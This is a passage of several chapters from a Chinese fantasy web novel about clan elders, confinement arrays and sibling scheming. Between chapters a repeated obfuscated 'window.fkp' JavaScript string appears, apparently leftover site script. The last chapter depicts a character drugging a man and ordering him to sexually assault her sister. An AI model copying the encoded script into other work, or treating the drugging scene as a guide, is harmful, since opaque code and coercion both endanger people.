“是真的。”凌霄走过去,“大哥,老九死在……”他说着看了眼裴松,才道,“死在裴子墨的阵法之中。” “不可能!”大长老当即怒道,“老九是什么本事咱们都清楚,裴子墨若是能杀了他,那样的术法强度我们不可能不知道!” 二长老和凌霄看着大长老没有说话。 片刻后,大长老终于明白他们真的不是在说笑,他一掌拍在旁边的桌子上,桌子当场化作了虚无,“裴子墨她找死!” “大哥,她确实……和以前不一样了。”二长老开口道。 “而且,我们的安排,她好像也都知道了。”凌霄叹了口气,“之前用冥蛉监听的法子,也被她发现了,现在我们恐怕是真的再也没办法掌握她的任何动向了。” “冥蛉她都知道了?”大长老眯了眯眼,又冷笑一声,“地府……” 顿了顿,裴松才低声问,“那九长老的事……” “老九会不会没死,只是暂时昏迷假死?”大长老开口问道,“别忘了,咱们都是受天地庇佑的人。” 二长老和凌霄对视了一眼,这会要是这么问,那他们谁也不敢确定了。 大长老在堂上来回走了几次,才道,“你们奔波了这段时间,也累了,老九的事,暂时不准对任何人提起,就说老九还在外面办事,过段时间,我带着几个人出去看看。” 这会裴子衿和凌锦枫的事,早就被大家忘到了脑后。 裴子衿跪在旁边,轻轻地眯了眼,心底也有了打算。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第458章 咱们能躲过这一次么? 那日从驿馆离开之后,裴子墨就开始忙了起来,白锦夜几乎见不到她的人。 他知道裴子墨一定是在解决那阵法带来的后果,只可惜他帮不上什么忙。 如果他彻底地恢复记忆,估摸着多少是能的,但如今也只能眼睁睁地看着。这问题就连鬼卿都问了出来,问他为什么不去帮忙,他只能搪塞了过去。 不过他倒是也没怎么闲着,因为白风御总是找他聊天喝茶喝酒,最后的话题又总是落到裴子墨的身上,打听裴子墨解决事情的进度。 后来大概是因为从他这里确实打听不出来什么,于是转而又开始询问裴子墨什么时候有时间,说是皇后想要见见裴子墨。 这两个问题白锦夜都不知道答案,逐渐的白风御大概也明白了,于是也不问了,就是单纯的喝茶喝酒聊天等裴子墨那边的消息。 就这么过了差不多一个月,裴子墨才终于出现在白风御的面前,还不等白风御问什么,她就先开了口,“你最近有出宫巡游的打算么?” 白风御愣了一下,隔了会才说,“出宫巡游,浪费人力物力财力……” “那你安排一下,七天之内,动身离开盛京。”裴子墨继续道。 白风御转头看了一眼白锦夜,隔了会才问,“盛京会发生什么事么?” 裴子墨点了点头,“我要借皇宫用用。” 白风御沉默了下,没有说话。 白锦夜轻咳了一声,才开口问,“是有什么事要发生么?” 裴子墨皱了下眉头,走到一边坐下,喝了口茶才道,“那阵法破了,遁世岛的人估摸着要来了,到时候难免动手,我怕误伤。” “那盛京城之中的百姓呢?我如果走了,你们动起手,伤了百姓该怎么办?”白风御摇了摇头,“我不能走。” “你必须要走。”裴子墨顿了顿,“我会保证尽量不伤盛京城内的百姓,之前裴子衿设下的阵法,是修改国运,第一步就跟你相关,如果你留下来,你可能受到的伤害更大。你的命运跟天风国的国运息息相关,除非你什么都不在乎了,那你若是非要留下就可以留下。” 虽然裴子墨没有说出来,但是白锦夜知道,盛京的九星灭仙阵就在皇宫之中,当初破阵的时候,裴子墨就让白砺寒带人离开了皇宫,所以看样子如今还是要把人引到皇宫之中,只不过这话裴子墨现在肯定是不方便说出来,于是便也开口劝道,“皇兄,子墨既然这样安排,你照做就是,我也会留下来,一切都会以百姓为先。” 若是只在皇宫之中动手,那只要皇宫中没有人,那确实不会伤到城中百姓。 白风御的手微微握成拳,半响之后才道,“行,那我去安排。” “走得越远越好。”裴子墨又补充了一句。 “不如就去复州吧。”白锦夜建议道,“你可以以看望张太妃为名,去复州。” “七天之内?”白风御又开始有点头疼了,若是礼部和户部那边知道七天之内大批人马就要赶赴复州,肯定要不停地念叨他,想了想,他才问,“我可不可以轻装简行,带上一部分人去复州,剩下的人就安排他们到京郊的行宫?” 裴子墨点点头,“总之,皇宫之中,这一次一个人都不能留。” 白风御暗暗地叹了口气,站起身,去安排了。 裴子墨这才看向白锦夜,“你这皇兄,还挺会省钱。” “也是没办法。”白锦夜也叹了口气,“之前那位皇上,奢侈得很,夏天出宫避暑,春猎秋狝一个都不落下,每次出行都要大兴土木,甚至挪用军费,国库其实早就空虚了。” 裴子墨顿了顿才道,“王朝兴衰,从来不是没有任何原因。” “我倒是明白,也能接受,可是如今三皇兄坐在那个位置上,即便是他自己心里也明白这个道理,但是自然不愿意天风国亡在他的手里。”白锦夜说着看向裴子墨,像是想要说什么,但是话到了嘴边,也就咽了回去。 裴子墨垂下眼,也没有说话。 白锦夜知道,她如今做事,只是想要让一切回到正轨,并不打算延续天风国的寿命。他转头看向门外,裴子墨说的也没错,他是因为这一世还有亲人,是天风国的王爷,所以才会格外的关注这件事,不然换做以前的他,恐怕也不会这样在意。 沉默了许久之后,裴子墨站起身,只是说,“宫里的事情,不要跟任何人说。”说完,又道,“你帮我去找个人吧。” “谁?”白锦夜抬头看向她。 “萧尺寒。你还记得当初下后山断崖之前,你和左辞去九幽圣谷的那处小院找我的路吧?他就在那,已经过了这么多日子,他修习萧家的术法,应该已经有所成。”裴子墨说着转头看向外面,“他如今是萧家在外面这一支唯一的后人,说不定已经能预见未来了。” 她顿了顿,又补充,“九长老死了,大长老为人谨慎,以防万一,如果这一次他出来,一定会带着能预见未来的萧家人,这样才能保证胜算掌握在自己手里,我们得比他掌握先机。” “可惜那本书上的字,我还是不能完全认出来,不然也不用指望萧尺寒。” “不。”白锦夜站起来,“这个时候我怎么能把你一个留在盛京?我不放心。” “你是冥尸,路上可以不用休息,时间能节省不少。”裴子墨看着他。 “鬼卿也是,让……” “鬼卿杀了萧尺寒全家,就算之前他们两个没有翻脸动手,那萧尺寒的心里也还是记恨着鬼卿。”裴子衿摇了摇头,“只能你去了,也只有你去我才放心。” 白锦夜还是想说什么,但是张了张嘴,最后也只能把反驳的话咽回去,“那你最近算卦了么?卦象怎么样?这一次如果真的是大长老亲自来了,有胜算么?”问完这个,他又觉得的不太妥帖,便重新问,“咱们能躲过这一次么?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第459章 我走不了,你也走不了 裴子墨轻笑了一声,“我们以后都不会再躲了。” 白锦夜有些诧异地看了裴子墨一眼,随即眼底闪过一抹开心,若不是有把握,裴子墨自然不会这么说,不管裴子墨算没算卦,起码对未来是有绝大部分把握的。 看样子,变量就是萧家了。 只要萧尺寒没问题,那自然把握更大。 “好,那我现在就出发。” 裴子墨点点头,“路上小心。” 白锦夜一路快马加鞭,到了驿站就换快马,路上根本没有休息,用最快的速度到了九幽圣谷。 但是在走进那处小院的时候,他才后知后觉地隐隐感觉不太对,但是哪里不对,又说不出来。 他走进院门,萧尺寒也走了出来。 萧尺寒依旧穿一身和尚打扮,从房间里出了门,就没有再往前走。 白锦夜快步走过去,“你最近……” “你来了。”萧尺寒看着他,又抬手往房子里指了指,“我刚煮了茶,要喝一口么?” “不喝了,盛京那边有事,你需要跟我去一趟。”顿了顿白锦夜又补充,“是裴子墨让我来找你的。” “喝点吧,我走不了,你也走不了。”萧尺寒笑了笑,转身回了房间。 白锦夜不明白他是什么话,皱眉站在原地,片刻后转身朝院门走去,可是刚刚走到院门,就被一股无形的力量挡了回来。 他拧着眉,想要破开门口的阵法,可是连凌迟刀都用上了,就是没有办法撼动这阵法半分。 他转过头,就见到萧尺寒坐在屋里喝茶,嘴角带着一抹笑,不时地看他一眼。 他大步走过去,“怎么回事?” “显然这里是个困阵,裴子墨把我困在了这里。”萧尺寒抬头看他说了句,又低头吸溜了一口茶,随即端起茶壶给白锦夜倒了一杯茶,“先喝口茶吧,反正急也没用。” 白锦夜沉默了会,才坐了下来,一口把杯子里的茶喝完,终于明白是哪里不对了,裴子墨只是让他来找萧尺寒,说是他来会快一些,但是她没有说“快去快回”,她想让他快点来这里,这样就会被困阵困住,自然没有办法离开这里。 萧尺寒见他不再挣扎着出去,才慢慢地开口的道,“我修习萧家的术法,其实已经可以预见一些未来的事情了。后来有一次裴子墨来找我,问了我一些事情,之后就在这里设置了困阵,我出不去,任何进来的人,也都出不去。” “她不想我把一些事情告诉别人,就算我告诉了别人,别人也离不开这里。她说她的事情解决完,她就会放我出去。她还说,如果她的事情解决不完,她死了,这阵法自然也就解开了。” 听到这后半句话,白锦夜的眉心狠狠地一跳,“你看我来一点都不惊讶,你是不是知道什么?” 萧尺寒点点头,像是有些苦恼地看着白锦夜,“但你觉得,我应该跟你说么?” “闲着也是闲着不是么?”白锦夜这次自己动手给自己倒了一杯茶,“我又离不开这里,就算你跟我说了,也不用害怕我告诉别人。” 萧尺寒垂眼看着茶杯,隔了好半天才道,“萧家人有时候可以无意间看到未来的片段,这种随机式的预测未来,对我们的身体没有任何伤害。我们也可以自己主动去预测未来,但是是要以寿命为代价。” “以前的时候,萧家能预测未来的人,都有严格的要求,不可以随便以寿命为代价去预测未来,除非有其他的人觉醒了这个能力,后继有人,或者是即将死亡的时候才会主动预测。” “但是……裴子墨跟地府那边,似乎有什么关系,我可以随意地帮她预见未来的事情,而不受寿命代价的限制。” 说到这,他抬眼看着白锦夜,“我这么说,你明白么?” “所以她想要知道的事情,其实早就知道了。”白锦夜捏着茶杯问道。 萧尺寒点点头。 “她就是骗我过来……”白锦夜皱起眉头,“所以在你帮她预测的未来里面,我……是拖了她后腿?” “你要是这么理解也可以。”说着萧尺寒又笑道,“有些时候,人确实是会好心办坏事。” “可是,把我困在这里,事情就改变了,改变之后的事情,还是你预测的那样么?”白锦夜又问。 “你忘了么?裴子墨可以算卦,可以改命改运,她修改一次,我就重新帮她预测一次,一直到预测的事情是她所能控制的,她才满意。”萧尺寒轻声道,“所以你不用担心她,她自有安排。” “我怎么能不担心?”白锦夜站起身,走到门口,看着外面道,“这世上能遇见未来的人不只是你一个,能算卦改命的也不只是裴子墨一个,谁能保证……就真的是万无一失?” “你不相信她么?”萧尺寒问道。 “我担心她!”白锦夜语气有些急,“你就不能预测一下这阵法该如何解开么?” 萧尺寒无奈地笑了声,没再说话,继续喝茶。 白锦夜站了半响,又重新回到萧尺寒对面坐下,“那你告诉我,结局是怎么样的。” “谁的结局?裴子墨还是遁世岛?”萧尺寒反问道。 白锦夜一时语塞,之前那老和尚看书之后,跟裴子墨说过,遁世岛众人归于地府,这就已经说明了遁世岛的结局了。 可裴子墨的结局如何,他现在真的准备好知道了么? 甚至于……他和裴子墨本身也是遁世岛的人。 到时候说不定也不会例外呢。 他叹了口气,坐在那,没再说话。 两个相对而坐,沉默半响之后,萧尺寒才道,“这会遁世岛的人应该已经到了。”说完这句,又立刻转移话题,“她之前跟我说过,你若是来了这里,就安心修习术法,不要想些有的没的。” 白锦夜依旧没有说话。 “其实她在这里应该也住过不少日子。”萧尺寒说着抬手指了指其中一间房,“她住在那间房,我没有去过,你可以住那里。” 听到这个,白锦夜才站起身,迈步往萧尺寒指的那间房走过去。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第460章 找死 在白锦夜陷入困阵的第二个月,大长老带着二长老、凌霄以及五长老萧南曦一起离开遁世岛到了楚江颠。 本来连续出来两次都出师不利,两次里又都有凌霄,这一次大长老完全不想再带着凌霄了。 可是要去楚江颠,没有凌霄又是绝对不可能的事情,所以大长老只能勉为其难地带上了他。 进入楚江颠,大长老要做的第一件事就是去九星灭仙阵查看。 九星灭仙阵的威力太大,所以至今还有阵法的气息存在,只不过阵法的痕迹却早就被人抹去了,就连九长老的尸体都不见了。 大长老四处查探了一番,“这阵法的威力确实很大,如今阵法都已经不在,也过去了些日子,这里还能有这么浓郁的气息波动,当初老九在阵里……”他说到这又停了下来,之前他还保留一丝希望,觉得九长老说不定只是暂时昏迷,并不会真的死掉,但现在他也不敢完全确定了。 沉默了片刻,他才又问,“这阵法叫什么名字来着?” “裴子墨说,叫九星灭仙阵。”二长老回道。 “九星灭仙阵。”大长老在原地走了几圈,自言自语道,“当年裴子墨在遁世岛的时候,控术学的不错,阵法学了一些,但我总觉得让我们都闻所未闻的阵法并不是她所创,可她若是在人世间学的,我们不可能不知道,除非……” 他的脚步停了下来,“是在地府学的,可是这些年,有过这么厉害的人物死后去地府么?” 没有人能回答大长老的问题,所以他的话音落下之后,就只剩下一片沉默。 半响后,大长老才又看向凌霄问,“裴子墨去找裴卿的时候身上还有冥蛉,她让他在盛京那边设置九星灭仙阵,可知道她是怎么交代裴卿的?” “她没有说设置九星灭仙阵的方法,只是让裴卿把九个魂魄埋在她指定的九个位置。”凌霄回道,“但是不久之前,她放出了其中的几个魂魄,再放回去的时候,位置就变了。如今她身上没了冥蛉,更不知道她有没有去变动位置。” “哪些位置知道么?”大长老又问。 凌霄摇了摇头,“冥蛉只能监听,其余的没办法知道。” “既然在盛京,那我们就去盛京看看,当初裴卿所找的,便是那时候我们几支在外面的后人,虽然阵法可能会隔绝他们的魂魄气息,但是毕竟是我们的血脉,你们也应该都有寻找自己族人魂魄的方式。”大长老开口道,“我们但凡找到其中一个,她这九星灭仙阵便被破了。” “眼下也只能如此了。”二长老叹了一口气,张了张嘴,犹豫了会,才低声道,“也不知道当初做这样的选择是对还是错,他算卦那么准,自然也算过这些事,他若是算到没希望,那不可能让裴子墨来做这些事,如果老九真的死了,那岂不是说……” 说到这,他见到大长老的脸色都变了,于是也就没有再继续说下去,只能在心里继续叹了一口气。 “老五,你那边可有什么发现?”大长老瞥了二长老一眼之后,看向萧南曦问道。 萧南曦轻轻皱起眉头,半响后摇了摇头,“自从出来之后,我就有一种很奇怪的感觉。”她说着四下看了半响,“到底是什么感觉我也说不出来,但这些日子,我都没有再看到未来的事情。” 听到这,大长老的眉心紧紧地皱起来,本来他们这一次出来之前,是因为萧南曦预见到凌锦夜其实并没有完全恢复术法,裴子墨虽然不好对付让人头疼,但是凌锦夜不一样,他这一世在天风国之中还有亲人,对他来说,这些亲人也都是软肋,所以想要拿捏凌锦夜是一件相对来说比较简单的事情。 再加上他们也发现天风国的国运出现了乱象,萧南曦预见凌锦夜为了解决这乱象本身就已经受了伤。 这乱象对于其他人来说解决起来不容易,但是若是他们出手,想要让一切回到正轨,也没那么难。 所以他们也不打算直接去找裴子墨,而是对凌锦夜威逼利诱。 这些年,裴子墨和凌锦夜互相之间都是不离不弃,为了对方可以舍弃自己的一切,但如今若是掺杂了其他的东西,这感情恐怕就没那么纯粹了。这一次就算不能解决掉裴子墨,他们也会让裴子墨和凌锦夜两个人分道扬镳。 “你再多看看,有什么发现及时跟我说,咱们这就去天风国。”大长老说着便往外面走。 * 楚江颠外面,是大长老他们此次出来乘坐的马车以及带的一些物资。 之前两次出来,差不多都是轻车简从,但是这一次大长老出来,就变得格外的隆重,他在遁世岛带上了一切可能用得到的东西,即便其他人说过这些东西在外面也能买到,可他依旧觉得只有遁世岛的东西才最正宗,用遁世岛的东西布出的阵法也一定比用外面的东西威力更大。 就因为带的东西太多,所以他们也就没有那么的注意每一辆装物资的马车。 等他们进了楚江颠之后,其中的一辆物资马车上的箱子被人从里面打开了盖子。 裴子衿四下悄悄地看了看,迅速的从箱子里跳了出来。 凌锦枫也紧随其后。 裴子衿懒得理会凌锦枫,快步往一边的树林里跑去。 “子衿,你等等我。”凌锦枫赶紧追上去。 听到凌锦枫的声音,裴子衿眼底闪过一抹厌恶,甚至加快了脚步。她想要混进大长老出来的车队,可是凭她自己根本不可能,凌锦枫倒是可以帮忙隐去两个人的气息藏在装物资的箱子里面。 只是这一路上,两个人躲在同一个箱子里,她烦都要烦死了。 因为害怕被人发现,凌锦枫不敢做太出格的事,可也免不了对她动手动脚,而她就更不敢出声被人发现,她每时每刻都恨不得剁下凌锦枫的双手。 如今已经不再需要凌锦枫帮她隐瞒气息,她第一时间就想甩掉他。 可凌锦枫却紧紧地跟着她,她心里冷笑一声,反正裴子墨也杀了凌家那么多人了,估计也不差凌锦枫一个了,他既然找死,她就送他一程! window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第461章 发簪 裴子墨也没想到,在大长老等人来之前,她竟然先等到了裴子衿。 裴子衿也一改之前的态度,见到她就开始哭。 裴子墨坐在一边喝着茶,冷眼看着裴子衿,并不出口询问。 等裴子衿哭够了,才终于主动开了口,“大姐,以前是我不对,我不该相信他们骗我的那些鬼话,他们说你背叛了遁世岛,想要消灭我们所有人,可是我现在才明白,他们只是需要我们活在他们的控制当中,我们不能有一点自己的想法,只要我们的想法不在他们预想的范围内,就变成了忤逆他们,就变成了十恶不赦的坏人。” 裴子墨慢慢地喝着茶,没有接话。 “这一次,我也是偷偷从遁世岛跑出来的,是……”裴子衿说着顿了顿才道,“是凌锦枫帮我跑出来的,大姐,你放心,我不会再跟你抢锦夜……抢姐夫了,我已经和凌锦枫在一起了。” 听到这,裴子墨端茶杯的手微微顿了一下,这才抬头看了裴子衿一眼,但依旧没有说话。 裴子衿又擦了擦眼泪,“他当年从喜堂上离开,其他人告诉我他不是自愿离开的,是被你控制了,他也不愿意跟你在一起,甚至在离开遁世岛之后,你利用他过后就把他给杀了。我确实恨过你,我不明白你为什么要这么做,我一直以为你是在故意针对我。” “但是上次……上次从遁世岛出来,我又见到他,哥哥也说漏了嘴,我才终于知道当年的真相,我也终于接受……他心里根本没有我的事实。不再执着于他以后,我才发现,身边原来也有一直喜欢我的人。” “被人捧在手心的感觉,也让我逐渐明白,我其实有自己想要的生活,我也不想再活在长老们给我编织的梦里。” “我这次从遁世岛出来,就没有打算再回去,凌锦枫也愿意跟我一起在外面生活,但我也知道,这条路很难走,我没有像你这样对抗遁世岛的勇气,我只想找个地方,让长老们找不到我们,让我们能安安稳稳的生活。” “我不知道你能不能帮我,可是不来找你,我也不知道该去找谁了。”裴子衿说着抹了抹眼泪,又顿了半响,才赶紧道,“对了,大姐,我们出来的时候,大长老他们也出来了,这一次还带了五长老。” “九长老的事,让大长老怒火中烧,他说这一次一定不会放过你,他从遁世岛带了很多东西出来,我听说里面有不少这么多年遁世岛攒下的法器,大姐,你若是没有万全的准备,这次千万不要跟大长老硬碰硬。” 听到这,裴子墨轻声笑了笑,才开口问道,“我不知道你在遁世岛的地位已经提升了这么多,竟然可以知道这些事了?”以裴子衿在遁世岛的地位,是不可能知道九长老死了的事的,大长老他们也绝对不可能对外公布这件事。 她想的也没错,本来这些事,确实裴子衿是不应该知道的,只不过当天正在解决她和凌锦枫的事,再加上九长老死了的消息太过震惊,大长老等人一时之间也就没有在意堂上还有两个他们平时也不怎么放在眼里的人。 但裴子衿当然不会把这些事告诉裴子墨,她抿了抿唇,像是犹豫了半响,才开口道,“我自然是不能知道的。”她扭捏了半响,从怀里摸出来一个锦盒,“我知道你不会相信我,但是……这是咱娘让我给你的。” 裴子墨眸光轻轻震了一下,垂下眼,半响后才抬起手,锦盒从裴子衿的手里飞到她的手里,她拿着锦盒捏了半响,才打开了盒子,里面是一支发钗。 看着发钗,她微微抿了下唇,这发钗,她早就见过,是母亲的传家宝。 她很小的时候,就知道母亲视若珍宝,母亲第一次也是唯一一次责备她,就是因为她小时不懂事,偷了这簪子出去玩。 之后母亲就把这簪子收了起来,她再也没有见过。 等后来,长老们定下她的婚事的时候,母亲才又拿出这簪子,说把这簪子给她,等以后她有了孩子,再一代代的传下去。 只不过那时候她根本不同意那婚事,又筹谋着要逃跑,也根本没收这簪子。 见裴子墨低头看着簪子发呆,裴子衿才继续道,“其实我也是不知道该怎么办,我和凌锦枫决定在一起了,但是长老们不同意,他们坚持保留我和锦……姐夫的婚事,说一定会把姐夫带回来,到时候再让我们成婚。” “但是……”裴子衿抬手摸了摸自己的小腹,“我已经有了凌锦枫的骨肉。”她垂下眼,眼底却闪过一抹恨意,那天之后,她就被关了起来,没想过这些事,也就没来得及吃避孕的汤药,她开始孕吐的时候,也没往这方面想,还是其他人发现的,想要打掉孩子也来不及了。 不过幸好有这个孩子,凌锦枫也就没有再碰过她,甚至还答应帮她跑出来。 但这个孩子,她肯定是不会留下来的! “我没有办法,我只能去求娘,娘才把这簪子给我,让我出来找你,她说你看到这簪子,一定会帮我的,就算不念在姐妹一场,看着……看着娘的面子,也不会不管我的。” “大姐,我真的没别的办法了!你就帮帮我吧。” 裴子墨合上锦盒,抬眼看了看在院子的长椅上坐着、被鬼卿盯着的凌锦枫,指腹轻轻地摩挲了下锦盒,才道,“你真的不想再回遁世岛了?” “嗯。”裴子衿用力地点点头,这一次她彻底的明白了,她在那些长老的眼里,根本不算是个人,就像是个物品,他们可以随意安排她的所有事情! 她不甘心! 留在遁世岛,她就要继续被摆布,但是她也知道,凭她自己不可能掏出长老们的掌心。 她也不愿意跟裴子墨站在一起,长老们盯着裴子墨不放,跟她在一起,必然很危险,她只希望裴子墨能告诉她,怎么躲避那些长老们的追踪,她可以先躲起来,再从长计议。 至于凌锦枫……回头想办法把他甩给裴子墨就是了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第462章 心思都写在脸上了 裴子墨沉默了一会,才问,“娘现在怎么样了?” 裴子衿摇了摇头,“自从你离开之后,娘就很少出门了,我有一次听到她和爹吵架,她让爹帮你,但是爹不同意,那次吵架之后,爹还把娘关了不少日子,之后娘不再提起你了,爹才放她出来。” “但她也基本上就在自己的院子里,甚至都不跟我们同桌吃饭,更是不让爹进门。爹……也因为这件事苦恼了些日子,后来有人给爹介绍了个女子,爹娶了小娘。” “哦?”裴子墨挑了下眉,“谁给介绍的?是谁?” “我也不清楚,反正就是一次祭祀大典之后,不知道是谁在宴会上提起的,小娘……”裴子衿顿了顿,又赶紧改口,“那女子是那一次祭祀大典的神女,年纪比我还小不少,以前我也没有见过,就说什么是在那次的祭祀大典上一见钟情。” “当时爹也去征求娘的意见了,但是娘还是没让他进院子,也不管这事。现在那女子就在咱们家里,已经成了女主人。” “不过娘不出门,她也没去找过娘的麻烦,娘那边需要的东西,她也从来不克扣,反正……看起来倒是相安无事的。” 裴子墨听着裴子衿一开始已经叫了“小娘”,就证明她以前一直这么称呼,看样子相处的也还算可以,“这么说,她嫁过来已经不少日子了,没生个一儿半女的么?” 裴子衿抿了抿唇,半响后才道,“生了一儿一女,不过……她倒是一直教导这两个孩子,不要跟我和哥争抢什么,那两个孩子看起来也很懂事。” 裴子墨垂下眼,想了会,才又问,“娘既然让你来找我,没交代别的什么么?” 裴子衿先是摇了摇头,但又点了点头,“娘其实很惦记你,也很想你,但是也不想拖累你,她的意思,就是让你务必要照顾好自己。” 裴子墨微微勾了勾唇,“这样吧,你和凌锦枫先住下,等我忙完手里的事,就给你们找个去处。” “大姐。”裴子衿有点着急,“大长老他们很快就要来了,在这之前,我要是不能藏好,他们肯定会杀了我的!” “在大长老他们来之前,给你找好藏身的地方,不就可以么?”裴子墨反问了句,说完也不等她再说话,就招呼鬼卿过来,送裴子衿和凌锦枫去休息。 片刻后,鬼卿独自回来,见裴子墨看着锦盒里的簪子发呆,便轻咳了一声提醒她。 裴子墨这才回过神来,转头看向鬼卿,“安排好了?” 鬼卿点点头,“一个房间,一张被子。”顿了顿,他才问,“他们可信么?” “可信什么?”裴子墨嗤笑一声,“满嘴谎话!她若是真喜欢凌锦枫,可不会还口口声声管他叫‘凌锦枫’,却还忍不住叫‘锦夜’,恐怕是长老们对她和白锦夜的婚事死心了,所以让她嫁给凌锦枫,她才从遁世岛逃出来。” “自从她进了门之后,几次到处张望,估计是在找白锦夜。心思都写在脸上了,还编故事给我听。” “只不过……”裴子墨顿了顿才道,“这簪子确实是我娘的,我娘应该也不会轻易拿出来给人。要么是她偷的,要么……我娘可能出了什么事。” 鬼卿皱起眉头,“你也别太担心……” “嗯,我娘也没那么脆弱。”裴子墨说着顿了顿,“等过几天,随便找个地方给他们送过去,大长老他们出来,一时半会都发现不了他们失踪,更何况,就算是失踪了,也不见得当回事。想要找他们,容易得很,也不需要那几个长老出手。” 鬼卿点点头,“他们这几天就快来了么?” 裴子墨微微摇了下头,顿了会才说,“我算了下,不出意外,他们应该先去找白风御。” 鬼卿有点诧异,“先去找白风御?可你不是让白风御他们躲出去了么?” “是啊,他们找白风御,肯定会以解决裴子衿闹出来的烂摊子为条件,跟白风御交换,他们也懂得借势,龙兴之地再加上龙气,能让他们事半功倍。”裴子墨说着轻声笑了笑,“这裴子衿留下的烂摊子本来就麻烦,让他们帮忙解决了不是挺好的么?” 鬼卿见事情已经在裴子墨的掌握之中,便也不再担心,去忙自己的事情了。 裴子衿到了房间,却见到只有一张床,一张被子,脸色顿时就变了,可想着她刚才跟裴子墨说过的话,也不好发作。 坐在桌边思虑了半响,才看向凌锦枫道,“一会等天黑了,你摸出去,找找凌锦夜在哪。” 听到这话,凌锦枫的顿时就表现出了不情愿,“你还说什么已经想好了跟我在一起,原来出来还是为了找他!” “你懂什么?我这还不是为了我们以后着想?”裴子衿皱起眉头,“我听说,凌锦夜是被裴子墨骗出来的,而且我上次见到他的时候,他什么都忘了,根本不记得遁世岛的人和事。”她说着摸了摸自己的肚子,“我已经和你在一起了,孩子都有了,我和他还可能么?但是我和他毕竟原来有婚约,就算是那些长老们做主取消了,你觉得他是那种任人摆布的人么?” “趁着这个机会,你先去找他说清楚,他现在知道,总比以后找我们的麻烦好吧?” 凌锦枫皱了下眉,不太相信地问道,“你真的这么想?” “不然我后还能怎么办?”裴子衿侧过身,假装擦了一下眼泪,“我已经是你的人了,我不为咱们的以后着想,难道还指望别人么?” “你别生气,别哭,等天黑我就去找找,你放心,我一定跟他说清楚。”凌锦枫赶紧开口道。 裴子衿这才轻轻地点了点头,她自从进门,就没有见过凌锦夜,也不知道他是不是跟裴子墨在一起,但是不管有没有在一起,只要凌锦枫去找凌锦夜,裴子墨肯定会怀疑他的目的,到时候自然不会让他好过! window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第463章 狗咬狗才好看 凌锦枫晚上在整个府里,上上下下都找遍了,也根本没有白锦夜的身影,他甚至用黄泉路探了下,这附近都没有相似的气息。 唯一的可能就是,白锦夜并不在这里,甚至都不在这附近。 而且他也能感觉得到,他四处探查,裴子墨是知道的,只不过根本没有搭理他,他只能一无所获地回了房间。 裴子衿也根本没想到凌锦枫能全须全影儿地回来,她先是微微有些诧异,随即赶紧站起来走过去,“跟他说清楚了么?” “他不在这。”凌锦枫摇了摇头。 “他没跟裴子墨在一起……”裴子衿抿着唇低声说了句,随即转身往床边走,走到床边坐下,才又想起什么,一下子跳起来,但又意识到自己的动作太过明显,便赶紧道,“裴子墨会不会意识到了什么?” “她肯定知道我在外面探查,但是她没管。”凌锦枫开口道,说着走到桌边坐下,低着头,不知道在想什么,隔了会才说,“那是你姐姐,你不了解么?” “我怎么会了解她?”裴子衿冷笑一声,手也握成拳,还以为裴子墨怎么也会对凌锦枫动动手,结果她就这么看着他在府里到处找人?她想着走到桌边,倒了一杯茶,递给凌锦枫,“算了,不想他们了,你忙了半宿,喝口水,我们早点休息吧。” 凌锦枫转头看了看床铺,这段日子他虽然一直跟裴子衿在一起,但是两个人也总是保持距离,今天晚上恐怕裴子衿就没什么借口了吧?他接过茶杯,想也没想,就一饮而尽,可片刻之后,整个人就没了意识。 裴子衿看着坐在桌边,目光发直的凌锦枫,咬了咬唇,才在他的耳边低声道,“去找裴子墨,把你对我做的事,对她也做一遍。长老们他们都说,你处处不如凌锦夜,现在你就去睡了他的女人,为自己报仇,也证明给其他人看,你比凌锦夜要强,去吧。” 凌锦枫木然地点了点头,站起身,打开门向外面走了。 裴子衿有些心疼地看着茶杯,这药是她偷的,偷出来的不多,本来打算用在凌锦夜身上的,现在给凌锦枫喝下去了一半,都不知道剩下的药还够不够用了。 听着凌锦枫的脚步走远了,片刻后,裴子衿也出了门,迅速的向府外跑去。 